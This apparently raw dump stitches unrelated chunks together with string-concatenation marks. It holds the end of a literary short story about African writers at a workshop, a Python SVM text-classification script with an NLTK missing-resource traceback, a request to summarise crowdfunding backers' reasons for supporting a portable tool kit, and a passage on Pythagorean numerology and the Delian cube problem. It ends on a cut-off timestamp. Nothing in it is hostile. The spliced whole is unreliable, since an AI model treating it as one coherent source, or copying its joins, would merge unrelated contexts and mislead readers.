Senegalese shrugged and said no matter how many dreams the old man had, she would still remain a happy lesbian and there was no need to say anything to him. “But why do we say nothing?” Ujunwa asked. She raised her voice and looked at the others. “Why do we always say nothing?” They looked at one another. The Kenyan told the waiter that the water was getting warm and could he please get some more ice. The Tanzanian asked the waiter where in Malawi he was from. The Kenyan asked him if the cooks, too, were from Malawi as all the waiters seemed to be. Then the Zimbabwean said she did not care where the cooks were from because the food at Jumping Monkey Hill was simply sickening, all that meat and cream. Other words tumbled out and Ujunwa was not sure who said what. Imagine an African gathering with no rice and why should beer be banned at the dinner table just because Edward thought wine was proper and breakfast at eight was too early, never mind that Edward said it was the “right” time and the smell of his pipe was nauseating and he had to decide which he liked to smoke, anyway, and stop rolling cigarettes halfway through a pipe. Only the black South African remained silent. He looked bereft, hands clasped in his lap, before he said that Edward was just an old man who meant no harm. Ujunwa shouted at him, “This kind of attitude is why they could kill you and herd you into townships and require passes from you before you could walk on your own land!” Then she stopped herself and apologized. She should not have said that. She had not meant to raise her voice. The Black South African shrugged, as if he understood that the devil would always do his work. The Kenyan was watching Ujunwa. He told her, in a low voice, that she was angry about more than just Edward and she looked away and wondered if “angry” was the right word. Later, she went to the souvenir shop with the Kenyan and the Senegalese and the Tanzanian and tried on jewelry made of faux ivory. They teased the Tanzanian about his interest in jewelry— perhaps he was gay, too? He laughed and said his possibilities were limitless. Then he said, more seriously, that Edward was connected and could find them a London agent; there was no need to antagonize the man, no need to close doors to opportunity. He, for one, didn’t want to end up at that dull teaching job in Arusha. He was speaking as though to everyone, but his eyes were on Ujunwa. Ujunwa bought a necklace and put it on and liked the look of the white, tooth-shaped pendant against her throat. That evening Isabel smiled when she saw it. “I wish people would see how faux ivory looks real and leave the animals alone,” she said. Ujunwa beamed and said that it was in fact real ivory and wondered whether to add that she had killed the elephant herself during a royal hunt. Isabel looked startled, then pained. Ujunwa fingered the plastic. She needed to be relaxed, and she said this to herself over and over, as she started to read from her story. Afterwards, the Ugandan spoke first, saying how strong a story it was, how believable, his confident tone surprising Ujunwa even more than his words. The Tanzanian said she captured Lagos well, the smells and sounds, and it was incredible how similar Third World cities were. The white South African said she hated that term, Third World, but had loved the realistic portrayal of what women were going through in Nigeria. Edward leaned back and said, “It’s never quite like that in real life, is it? Women are never victims in that sort of crude way and certainly not in Nigeria. Nigeria has women in high positions. The most powerful cabinet minister today is a woman.” The Kenyan cut in and said he liked the story but didn’t believe Chioma would give up the job; she was, after all, a woman with no other choices, and so he thought the ending was implausible. “The whole thing is implausible,” Edward said. “This is agenda writing, it isn’t a real story of real people.” Inside Ujunwa, something shrank. Edward was still speaking. Of course one had to admire the writing itself, which was quite mah-ve-lous. He was watching her, and it was the victory in his eyes that made her stand up and start to laugh. The participants stared at her. She laughed and laughed and they watched her and then she picked up her papers. “A real story of real people?” she said, with her eyes on Edward’s face. “The only thing I didn’t add in the story is that after I left my coworker and walked out of the alhaji’s house, I got into the Jeep and insisted that the driver take me home because I knew it was the last time I would be riding in it.” There were other things Ujunwa wanted to say, but she did not say them. There were tears crowding up in her eyes but she did not let them out. She was looking forward to calling her mother, and as she walked back to her cabin, she wondered whether this ending, in a story, would be considered plausible.\n=== END OF CHUNK ===' +'import pandas as pd\nimport numpy as np\nimport re\nimport nltk\nnltk.download(\'omw\')\nnltk.download(\'wordnet\')\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word\\_tokenize\nfrom nltk.stem import WordNetLemmatizer\nfrom sklearn.feature\\_extraction.text import TfidfVectorizer\nfrom sklearn.model\\_selection import KFold\nfrom sklearn.utils.class\\_weight import compute\\_class\\_weight\nfrom sklearn.svm import SVC\nfrom sklearn.metrics import f1\\_score\nfrom tqdm import tqdm\n\n# Set seed value\nnp.random.seed(42)\n\n# Load data\ntrain\\_df = pd.read\\_csv(\'train.csv\')\ntest\\_df = pd.read\\_csv(\'test.csv\')\n\n# Compute class weights\nclass\\_weights = compute\\_class\\_weight(class\\_weight=\'balanced\', classes=np.unique(train\\_df[\'label\']), y=train\\_df[\'label\'])\n\n# Define text pre-processing functions\ndef preprocess\\_text(text):\n # Remove non-alphabetic characters\n text = re.sub(r\'[^a-zA-Z\\s]\', \'\', text)\n # Convert to lowercase\n text = text.lower()\n # Tokenize\n tokens = word\\_tokenize(text)\n # Remove stopwords\n tokens = [token for token in tokens if token not in stopwords.words(\'english\')]\n # Lemmatize\n lemmatizer = WordNetLemmatizer()\n tokens = [lemmatizer.lemmatize(token) for token in tokens]\n # Join tokens back into a string\n text = \' \'.join(tokens)\n return text\n\n# Preprocess train and test text data\ntrain\\_df[\'text\'] = train\\_df[\'text\'].apply(preprocess\\_text)\ntest\\_df[\'text\'] = test\\_df[\'text\'].apply(preprocess\\_text)\n\n# Define KFold cross-validation\nkf = KFold(n\\_splits=5, shuffle=True, random\\_state=42)\n\n# Define TF-IDF vectorizer\ntfidf = TfidfVectorizer()\n\n# Initialize F1 scores\nf1\\_scores = []\n\n# Train and evaluate model for each fold\nfor fold, (train\\_index, val\\_index) in enumerate(kf.split(train\\_df)):\n # Get train and validation data\n X\\_train, y\\_train = train\\_df.iloc[train\\_index][\'text\'], train\\_df.iloc[train\\_index][\'label\']\n X\\_val, y\\_val = train\\_df.iloc[val\\_index][\'text\'], train\\_df.iloc[val\\_index][\'label\']\n\n # Compute TF-IDF features\n X\\_train\\_tfidf = tfidf.fit\\_transform(X\\_train)\n X\\_val\\_tfidf = tfidf.transform(X\\_val)\n\n # Train SVM model with class weights\n svm = SVC(class\\_weight={i: w for i, w in enumerate(class\\_weights)}, kernel=\'linear\', random\\_state=42)\n svm.fit(X\\_train\\_tfidf, y\\_train)\n\n # Evaluate on validation set\n y\\_val\\_pred = svm.predict(X\\_val\\_tfidf)\n f1 = f1\\_score(y\\_val, y\\_val\\_pred, average=\'weighted\')\n f1\\_scores.append(f1)\n print(f\'Fold {fold+1} F1 score: {f1:.4f}\')\n\n # Save predictions on test set for this fold\n X\\_test\\_tfidf = tfidf.transform(test\\_df[\'text\'])\n y\\_test\\_pred = svm.predict(X\\_test\\_tfidf)\n test\\_df[f\'fold{fold+1}\'] = y\\_test\\_pred\n\n# Compute average F1 score\nprint(f\'Average F1 score: {np.mean(f1\\_scores):.4f}\')\n\n# Ensemble predictions from all folds\ntest\\_df[\'label\'] = test\\_df[[f\'fold{fold+1}\' for fold in range(5)]].mode(axis=1)[0]\n\n# Save predictions to file\n\ntest\\_df[[\'id\', \'label\']].to\\_csv(\'./0316\\_test.csv\', index=False)\n\nat this code \n\n---------------------------------------------------------------------------\nLookupError Traceback (most recent call last)\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 83 try:\n---> 84 root = nltk.data.find(f"{self.subdir}/{zip\\_name}")\n 85 except LookupError:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\data.py in find(resource\\_name, paths)\n 582 resource\\_not\\_found = f"\\n{sep}\\n{msg}\\n{sep}\\n"\n--> 583 raise LookupError(resource\\_not\\_found)\n 584 \n\nLookupError: \n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n Resource omw-1.4 not found.\n Please use the NLTK Downloader to obtain the resource:\n\n >>> import nltk\n >>> nltk.download(\'omw-1.4\')\n \n For more information see: https://www.nltk.org/data.html\n\n Attempted to load corpora/omw-1.4.zip/omw-1.4/\n\n Searched in:\n - \'C:\\\\Users\\\\rockr/nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\share\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\lib\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\AppData\\\\Roaming\\\\nltk\\_data\'\n - \'C:\\\\nltk\\_data\'\n - \'D:\\\\nltk\\_data\'\n - \'E:\\\\nltk\\_data\'\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\nDuring handling of the above exception, another exception occurred:\n\nLookupError Traceback (most recent call last)\n~\\AppData\\Local\\Temp\\ipykernel\\_9724\\2365515882.py in \n 43 \n 44 # Preprocess train and test text data\n---> 45 train\\_df[\'text\'] = train\\_df[\'text\'].apply(preprocess\\_text)\n 46 test\\_df[\'text\'] = test\\_df[\'text\'].apply(preprocess\\_text)\n 47 \n\n~\\Anaconda3\\lib\\site-packages\\pandas\\core\\series.py in apply(self, func, convert\\_dtype, args, \\*\\*kwargs)\n 4431 dtype: float64\n 4432 """\n-> 4433 return SeriesApply(self, func, convert\\_dtype, args, kwargs).apply()\n 4434 \n 4435 def \\_reduce(\n\n~\\Anaconda3\\lib\\site-packages\\pandas\\core\\apply.py in apply(self)\n 1086 return self.apply\\_str()\n 1087 \n-> 1088 return self.apply\\_standard()\n 1089 \n 1090 def agg(self):\n\n~\\Anaconda3\\lib\\site-packages\\pandas\\core\\apply.py in apply\\_standard(self)\n 1141 # List[Union[Callable[..., Any], str]]]]]"; expected\n 1142 # "Callable[[Any], Any]"\n-> 1143 mapped = lib.map\\_infer(\n 1144 values,\n 1145 f, # type: ignore[arg-type]\n\n~\\Anaconda3\\lib\\site-packages\\pandas\\\\_libs\\lib.pyx in pandas.\\_libs.lib.map\\_infer()\n\n~\\AppData\\Local\\Temp\\ipykernel\\_9724\\2365515882.py in preprocess\\_text(text)\n 37 # Lemmatize\n 38 lemmatizer = WordNetLemmatizer()\n---> 39 tokens = [lemmatizer.lemmatize(token) for token in tokens]\n 40 # Join tokens back into a string\n 41 text = \' \'.join(tokens)\n\n~\\AppData\\Local\\Temp\\ipykernel\\_9724\\2365515882.py in (.0)\n 37 # Lemmatize\n 38 lemmatizer = WordNetLemmatizer()\n---> 39 tokens = [lemmatizer.lemmatize(token) for token in tokens]\n 40 # Join tokens back into a string\n 41 text = \' \'.join(tokens)\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\stem\\wordnet.py in lemmatize(self, word, pos)\n 43 :return: The lemma of `word`, for the given `pos`.\n 44 """\n---> 45 lemmas = wn.\\_morphy(word, pos)\n 46 return min(lemmas, key=len) if lemmas else word\n 47 \n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_getattr\\_\\_(self, attr)\n 119 raise AttributeError("LazyCorpusLoader object has no attribute \'\\_\\_bases\\_\\_\'")\n 120 \n--> 121 self.\\_\\_load()\n 122 # This looks circular, but its not, since \\_\\_load() changes our\n 123 # \\_\\_class\\_\\_ to something new:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 87 \n 88 # Load the corpus.\n---> 89 corpus = self.\\_\\_reader\\_cls(root, \\*self.\\_\\_args, \\*\\*self.\\_\\_kwargs)\n 90 \n 91 # This is where the magic happens! Transform ourselves into\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\reader\\wordnet.py in \\_\\_init\\_\\_(self, root, omw\\_reader)\n 1174 )\n 1175 else:\n-> 1176 self.provenances = self.omw\\_prov()\n 1177 \n 1178 # A cache to store the wordnet data of multiple languages\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\reader\\wordnet.py in omw\\_prov(self)\n 1283 provdict = {}\n 1284 provdict["eng"] = ""\n-> 1285 fileids = self.\\_omw\\_reader.fileids()\n 1286 for fileid in fileids:\n 1287 prov, langfile = os.path.split(fileid)\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_getattr\\_\\_(self, attr)\n 119 raise AttributeError("LazyCorpusLoader object has no attribute \'\\_\\_bases\\_\\_\'")\n 120 \n--> 121 self.\\_\\_load()\n 122 # This looks circular, but its not, since \\_\\_load() changes our\n 123 # \\_\\_class\\_\\_ to something new:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 84 root = nltk.data.find(f"{self.subdir}/{zip\\_name}")\n 85 except LookupError:\n---> 86 raise e\n 87 \n 88 # Load the corpus.\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 79 else:\n 80 try:\n---> 81 root = nltk.data.find(f"{self.subdir}/{self.\\_\\_name}")\n 82 except LookupError as e:\n 83 try:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\data.py in find(resource\\_name, paths)\n 581 sep = "\\*" \\* 70\n 582 resource\\_not\\_found = f"\\n{sep}\\n{msg}\\n{sep}\\n"\n--> 583 raise LookupError(resource\\_not\\_found)\n 584 \n 585 \n\nLookupError: \n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n Resource omw-1.4 not found.\n Please use the NLTK Downloader to obtain the resource:\n\n >>> import nltk\n >>> nltk.download(\'omw-1.4\')\n \n For more information see: https://www.nltk.org/data.html\n\n Attempted to load corpora/omw-1.4\n\n Searched in:\n - \'C:\\\\Users\\\\rockr/nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\share\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\lib\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\AppData\\\\Roaming\\\\nltk\\_data\'\n - \'C:\\\\nltk\\_data\'\n - \'D:\\\\nltk\\_data\'\n - \'E:\\\\nltk\\_data\'\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\noccur this error' +'Summarize the following content in a bullet list Very briefly, why did you decide to back this project?\nI want to get into woodwork but find most of the tools to expensive and take up too much space.\n\nHome crafts\nIts an interesting project with a lot of potential\nInnovative product for small hobby/woodworking projects\nI liked the multi-functionality\n\nThis is a very ingenious multifunctional toolkit for DIYers of smaller projects. The added bonus of it being portable makes it great to work on projects wherever you are.\nJust what I needed. I want these tools for small projects and I don’t have much room to put them\nsmall components for business\nIm always interested in pairing down the amount of equipment I keep at home. This seemed like a great product to try to streamline my tool storage.\nLooked like a great set of tools to help with crafts\nLooks useful.\nI enjoy crafting small objects, and I like the idea of having all tools in one area with the same system\nI make small wood projects. This looks like a great toolkit for that!\nI have limited space and most of my projects have a smaller scale.\nIm an artist who works 3-D increasingly.\nLooking for something compact/multi use for any project\nVersatile, gives me the tools for a few projects I had put on hold. Affordable\nI want to do some projects and it will fit with my projects\nVery useful for our hobby projects\nI am a product designer and thought that this product will help me with my work.\nLooked neat\nInteresting idea\nMy son makes a lot of models. This will help\n\nfun to create\nDesign and usability of the product\nThe size of this kit will be super handy when doing projects with my small children.\nLooks like a handy way to do some fun crafts.\nLooks like it will be helpful with my hobbies\nConvenient tool kit for projects.\nInteresting concept multi tool\nI think it will be an awesome gift for my dad.\nEs sieht nach einem sehr durchdachten Projekt aus. Ich werde dann meine vielen verschiedenen Minigeräte fest im Schrank verschließen können. Vll. noch als Reserve halten, falls euer Gerät irgendwann eine Reparatur benötigt.\nI enjoy craft projects and your invention seems it may be helpful in my workshop\nI love to make small objects with wood\n3D Print Finishing\nInteresting product\nWant to use the tools\nServes my need\nLooked like an interesting project\nLooks like a kit with tools Ive been meaning to buy all in one place\nThe Doer is great and I can use a smaller, lightweight version for smaller projects\nFunctional\nI have the Doer, it only made sense\ndue to all the functionality and price compared to other brands like dremel\nI like the compact storage of multiple, useful tools\nI wanted to invent something similar\nIt seems like a useful tool for me\nIt will be very handy in my project shop\nI worked in engineering and do home projects\nIts what Im searcing for.\nI use a lot of these sorts of tools, and would use more if I had them\nlooked like nice powertool collection\nLooked cool\n\nFill a niche in needing a fabrication / cleanup platform for some of my projects\nLooks like a great little tool set that I can use for small projects.\nUseful\nmeets a current need\nwanted a cutting / drilling tool for small DIY project\nHaving the option to create small items\nA great concept\nalready thinking about buying several of the tool capabilities featured in the DaVinci\nThe multi-tool arrangement provides a compact, efficient system for small hobby projects, without the need for a full shop. Great for a one-bench space in the garage.\nPortability and the craft work use case for the tool\nFits my needs\nIt seems perfect for the crafting I do\nInnovative\nI have a potential use for this equipment\nSmall and flex tools\nI love crafting\nI want to get this as a gift for my husband\nI do a lot of building small projects and this will be perfect, with only one box to transport if needed.\nSeems like it would be a useful tool for small crafts and miniatures.\nLooks like a good deal and your past projects have funded well.\nIt looks like an amazing tool set I can use\nAll in one some tools I want\nIt looks interesting\nI backed your first project and I think this will make a nice addition to my collection of tools\nIt looks cool!\nIt looks incredibly useful for my day-to-day projects.\nI am enthusiastic about DOER and your new product will be just as great.\nLiked the DOER. Hope this is of good quality. Price seemed a bit high, but am hopeful.\nI like the compact form of the tools that fits my needs.\nrelatively good experience with DOER (also they still did not deliver all parts that I was ordering). Useful tools with excellent quality, all are using one 20V system,.\nI love the technology and how it all works together.\nSeems like a very nice small setup for hobbyist activities\nDoer backer\nFor a small project I’ve had for a while….I don’t need full size wood working tools for. This size is perfect for my project.\nI need many of these tools\nneed many tools to fit in a small space\nlike crafting and my husbands does wood models\nLooked handy\ni have seen your last project, and didnt back it... but now this project is perfect for me as Im an industrial designer and innovation manager, it would be a great tool for my workshop!!!\nReplaces a bunch of separate, non-portable tools\nI build models. This looks like a great tool for doing small work.\nI’m itching to start some projects with soapstone and this unit is so portable. I like that it works with our Doer as well.\nModeller\nI have many woodworking tools, but having an all in one toolbox wad very appealing to me for small projects and being able to have it anywhere I need is a plus.\nModel hobbies\nI like useful compact tools\nIm a DIYer and hobbyist. I often have need to cut smaller things so using a table saw is overkill. This kit is perfect (and portable). From watching everything it can do this was meticulous thought out and designed.\nExtremely practical idea that will be useful for me in the future\nI love tools!\nI do lots of projects with power tools\n\nWhat can Ibsay, seems like a dream toolbox !\nCompact and versatility\nIt looks like a useful product for my own use.\nVersatility\nI like power tools designed for small scale projects.\nlooking for compact tool kit\nIntressting product - innovative workbench included\nIs a nice idea!\nI have a variety of hobbies and dont always have the tools I need, this looks like it should cover that.\nI do many 3d printer projects\nVery unique design\nTools for modeling and small projects\nLooks like a good product for my various hobbies\nDIY enthusiast\nSeems like a nice bit if kit for someone into 3d printing\nTo have similar capabilities in remote Light EV repair that we have in brick & mortar workshop\nSmall and portability\nIm going to be actually able to lift and carry it(yay!). Has the tools necessary for a number of projects.\nSeems like it would be useful in my and my wifes hobbies\n\nI always wanted to have a table saw and a lathe.\n\nI looks like it would be a nice addition to my laser cutter crafting\nIts seems very convenient and something i was actually looking for\nThis will be a very useful toolbox\nneed for craft work. compact and hopefully simple to use.\nI wanted a tool kit for when I get a house, plus a Dremel for cosplay props\nInterested on your latest innovative product\nIf it arrives in August, then it will make for a good birthday present\nLiked the versatility of the project\nInteresting idea\nThe project is very interesting\nI love DIY. I have s lot of tools. I have a dremmel, and I have used a lot. I need tools for little details\nCool product\nUnique combination of tools that allow precision and flexibility\nI want the capability of this product\nI am a teacher in France. It could be useful for my students.\nuni tools\nNow I can have my own lathe.\nThe project seems useful\nWant a small but complete set of tools for hobbies.\nBc it reminds me of a Dremel on steroids and Im intrigued\nWork\nBecause I did\nwe are a crafting family, got them for my family\nWas looking for something like that for a long time\nall-in-one design\n.....\nLooks like a great idea\nI like craftmanship work\nI work in engineering and in my spare time i work on home projects\nI love DIY but I dont have much space\nI thought it might be useful for smaller projects\nVery possible and good to have a small work bench so that I dont have to commit for multiple bigger pieces\nim working on a project that wouldve been 100% easier had I had this tool! I wish i could buy it NOW\nKeen to get the tools, and this is a complete compact solution\nIm a model hobbyest and miniature painter and the tools will help make those activities more fun and easier.\nLooks awesome.\nlooked cool and useful\nNice idea\nSomething I can use\nBecause it combines all the tools I need for my projects.\nThe all in one tool fitted in a single box\nConcept\nFunction ans Design are perfekt for my\nFunctionality\nPrice and number of tools.\nI like to make stuff. From 3D printing to spinning & knitting, I love to create.\nThe multitude of tasks possible with it\nLooks solid for projects at home\nPerfect hobbyist platform\nShould help me combine many tools allowing me to create some more space in my garage\nInteresting product. Since you had already a project on Kickstarter it seems to reliable.\nMy wife was looking for something like this for her crafts and 3D printing hobby.\nHusband gift\nVery convenient tool package for hobbies when travelling in motorhome. Limited space for tools in the house - they live in a shed outdoors and Canadian winters means I cant use them outside. This will be perfect for hobby projects inside.\nbecause I believe in it!!!!\nGift for my Boyfriend 💖\nThe usefulness of smaller and portable versions of bigger power tools for hobby applications.\nMy son and I enjoy crafting projects together, and I also like to back innovative projects.\nvery interesting device\nI like to build small projects as a hobby\nThe product\nThanks\nWorks well for making tiny things\nlooks like a useful tool\nI backed Stellens previous project\nits an interesting project\nIt looks awesome and has most of everything I need in one tiny package!\nvariety of tools for miniature figures and 3d prints\nI really need this miracle 🙂\nDesign\nHad a full wood shop in my house lost it all this will hopefully give some of that back\nHas everything a craft hobbyist can use\nAll in one cool gadgetry\nDownsizing and must give up larger tools,\nThis set of tools would help a lot in my craft projects.\nLike\nDYEr\nI am a crafter and love the variety of tools in this set\nIts a big Swiss army knife. Its amazing!\n\nCrafting projects\nThe amount of tools and the built in work space are what I desire\nneed the product\nLiked the tool design\nNA\nA present for my husband\nIt looks useful.\nI am a hobbyist with extremely limited space and having access to a plethora of tools that I could use on my balcony will open my possibilities a million-fold\nHobbyist\nI love the DOER, so why not?\nwant one\nseemed interesting\nMultifunctional tool\nLike work with models.\ngood concept for mobile projects\nLove tools\nI am very creative and i had wanted to invent something similar to this.\nScale model is my hobby\nCordless multi tool\nIt looks like its going to be a huge helper in modeling\nIt looks really awesome, and as someone who loves making small projects, this seemed perfect! However, I want to buy 2 sets and there doesnt seem to be an option for that\nIts perfect for the kind of miniature projects I like.\nLOVE the compact multi-functionality.\nPerfect for hobbies like 3d print\nIt looks like an interesting concept, and I have use of small modeling tools.\nLooks interesting\nCompact and Functionaly\nI am a maker and have been looking at similar tools\nLooks like a project I can support.\nInteresting idea!\nI backed the Stellen DOER and thought this is a great companion for smaller projects\nLooking forward to using it to create small projects with precision and portability.\nI am a maker and this seems like a great toolset and workflow for some of my projects\nMain reason I dont have power tools myself is because of how much space they would take up, this seems like a good option for me\nI think it’s useful tool\nIt looks like a great product, and unique. Priced right.\nI can use your product with my hobby, in your English (US)' +'Anyway, starting with Thales is as good as any other starting point. If only we realise that geometrical\nproofs were part of philosophy and Greek philosophy was motivated both esoterically and\npractically. The precision in dealing with coins, measuring the height or distance of objects, fitted\nthese ideas just as perfect as did acquiring knowledge of the divine circle. It fitted the notion\nof getting to grips with the world order. Thinking and reasoning with triangles and circles was\npart of that. Thales might have been inclined to a political or physical understanding, so that projecting\nour idea of geometry is not entirely unfitting. To many of the ancients, however, the ideas\nof geometria were first and foremost part of, or even originated from, myths and beliefs. The ideas\nwere associated with astrology and numerology.\nTo the Pythagorean order, named after the philosopher Pythagoras of Samos (ca. 571 - ca. 500)\ngeometria and arithmetica were the essence behind a divine order they tried to describe. Because\nthe Pythagorean sect was secretive in nature, about both knowledge and rituals, also about\nthis group of philosophers little information survives (that is: they were rather successful in their\nsecrecy). It was customary to attribute results obtained by people within the order to the master\nhimself, so we don’t even know for sure if a proof of the Pythagorean theorem was indeed\nthought up by Pythagoras himself.\nTo the Pythagorean sect, numbers offered a way through which they could feel themselves connected\nto the world in a practical and mystical sense. Numbers not only offered a way of counting\npossessions and armies, but they also represented the divine world order. The faith of people\nwas hidden in numbers. As many of the ancient cultures, the Pythagoreans considered some\nnumbers to be male (2 and probably even numbers in general), others to be female (1 and probably\nodd numbers in general). Numbers and properties of numbers were often thought about\nin so-called ψῆφος (psephos), or counting objects, such as pebbles or shards. Counting and\narithmetic with these objects was simply done by joining pebbles (when adding) or doubling a\nnumber of pebbles (when multiplying). In Athens, the same kind of objects were used for voting\n— and in that sense numbers also literally decided upon matters of politics and on the faith of\npeople, being expelled from the city or not. The connection between numbers and reality could\nMathematical worlds 23\nbe quite direct. Special powers were attributed to, for example perfect numbers (numbers, equal\nto the sum of their divisors, such as 6 = 1+2+3; 28=1+2+4+7+14), triangular numbers (1, 3, 6, 10,\n15, … which could be laid down in an equilateral triangle: 1, 1+2, 1+2+3, 1+2+3+4, …) and fair\nnumbers (1, 4, 9, 16, 25, … which could be laid down in a square).\nThe Pythagoreans were enthusiastic about the fact that the length of the snare on a monochord,\nwas representative of the musical tone it produced when played. The theory, called musica started\nfrom the observation that two strings, the second one half the size of the first, produced a\nsimilar note - we would say: the second transposed one octave with respect to the first. That resulted\nin an intimate connection between musica and the theory of ratios, which was part of the\narithmetica or geometria, depending on the stance of the philosopher towards these subjects.\nAdding or multiplying ratios were connected to the monochord in ways that have become inconceivable\nto us. Note that it is a present-day prejudice to regard this connection as a physical\ntheory, whereas it could also be viewed as a divinely inspired or mythical connection between\nnumbers and the world order, expressed in the theory of harmonies.\nThese kind of mythical connections between number and reality made the Pythagoreans believe\nfirmly that everything could be expressed by number: reality was numerological in nature. And if\nnumbers were of divine origin, trying to make sense of the deeper ideas behind the world order,\nor expressed divine relations, no wonder that special numbers became of special interest. It is\nfrom these kind of ideas that prime numbers, divisors, largest common divisors or least common\nmultiples were interesting.\nIt might have been the realisation that there existed numbers that had no common measure, for\nexample the side and diagonal of a regular pentagon, or, a little more difficult to realise but easier\nto imagine, the side and diagonal of a square, anyway: some philosophers after 400 BC didn’t\ntrust arithmetica as a basis for true philosophy. To them, deriving knowledge from geometria became\nmore common. Indeed, the art of geometria was associated with drawing figures in the\nsand, but these figures only served the imagination, and were not considered an intrinsic part of\nMathematical worlds 24\nIllustration I.1: psephos arithmetic in action: using pebbles the\nPythagoreans could understand some properties of numbers - and\nthereby the cosmos. From the picture it is clear that the sum of the\nfirst consecutive female (odd) numbers (so: 1+3+5 etc.) is a just\nnumber (square). The picture illustrates how close proof and revelation\ncould be for the Pythagoreans: the picture literally reveals an\neternal truth, for those who are willing and able to “read” it.\nreasoning. The point was exactly not to assume anything about what was made “clear” by the\nsenses, since, as Plato (428/427 or 424/423 – 348/347) implicitly noted in his Τίμαιος (Timaeus, ca\n360 BC), real knowledge had to be derived not from the senses, but from the λόγος (logos, a\nword with many meanings: story, “I say”, reason). In logos, order was to be found. In the cave dialogue,\nPlato explains how the senses do reveal truth, but not what is behind the truth, since the\npeople in the cave only see the projections of objects outside the cave, and not what was there\nin the “real” world, the world of perfect and eternal ideas, ideai, which created those projections.\nHis philosophy was about these “real” objects. Knowledge of these eternal things were what the\nphilosopher strove for. And geometria could help get closer to these ideai, as it, literally, got you\ncloser to understanding astronomy — to knowledge of the (eternal!) stars. Of course, also to Plato\narithmetica and geometria were important in trade and warfare, but most notably geometria\nalso allowed the philosopher to gain knowledge of the eternal ideai.\nAccording to other ancient philosophers, the essence of the two subjects was much more mundane.\nFor example, Aristotle (384 - 322) thought arithmetica and geometria were abstractions of\nthe ideas given by our senses. The use of these subjects was in trade and warfare, but beyond\nthat, the use of arithmetica and geometria was rather limited, and didn’t reach beyond the pedagogical\nsimplest example of philosophy. The idea of proof and structure did appeal to him, although\nhe wasn’t fond of measurement, which was visible in his Φυσικὴ ἀκρόασις (Physics, ca.\n350 BC). According to Aristotle, the world was built from four building blocks: earth, water, fire\nand air. All the objects we perceived, derived their substance from various combinations of these\nelements. A fifth element, by the romans called the quinta essentia, was necessary to give matter\na soul or life — matter itself was always inanimate. Aristotle’s universe consisted of concentric\nspheres, which revolved around the central earth in an intricate way, thus in a qualitative sense\nexplaining the perceived motion of sun, moon, planet and stars.\nGeometria as part of a philosophical practice\nThe Greek philosophers that were trying to understand the eternal ideai, were inclined to study\ngeometria, since it offered more solidity than arithmetica, and perhaps also because it was closer\nto (read: necessary to understand certain constructions in) astronomia, including astrology. The\nassumption they unconsciously made was that the world order was based on (divine!) straight\nlines and circles, flat surfaces and orbs. These objects were therefore favoured in all constructions\nand were the start of all reasoning in geometria.\nOne of the geometrical problems that was posed in antiquity was the doubling of the cube. Its\ntwo dimensional analogon was relatively easy: the doubling of (the area of ) a square could be\nperformed by constructing a square on the diagonal of the original square. The doubling of (the\ncontent of ) a cube, however, was not that simple. The problem was known as the Delian riddle,\nbecause of a myth that belonged to it. This myth immediately illustrates beautifully how philo-\nMathematical worlds 25\nsophy, mysticism and the search for world order were related. About 430 BC the citizens of\nAthens consulted the Delian oracle, because the plague was infesting their city state. The oracle\ntold them to double the cubic altar of Apollo and the disease would disappear. The Athenians\ndoubled all sides of the altar, only to find out that this didn’t solve their problem, since now the\naltar had become eight times the (content of the) original altar stone. The problem proved to be\ntrickier than it looked at first sight.' +"13/10/22, 5:13:14 PM] 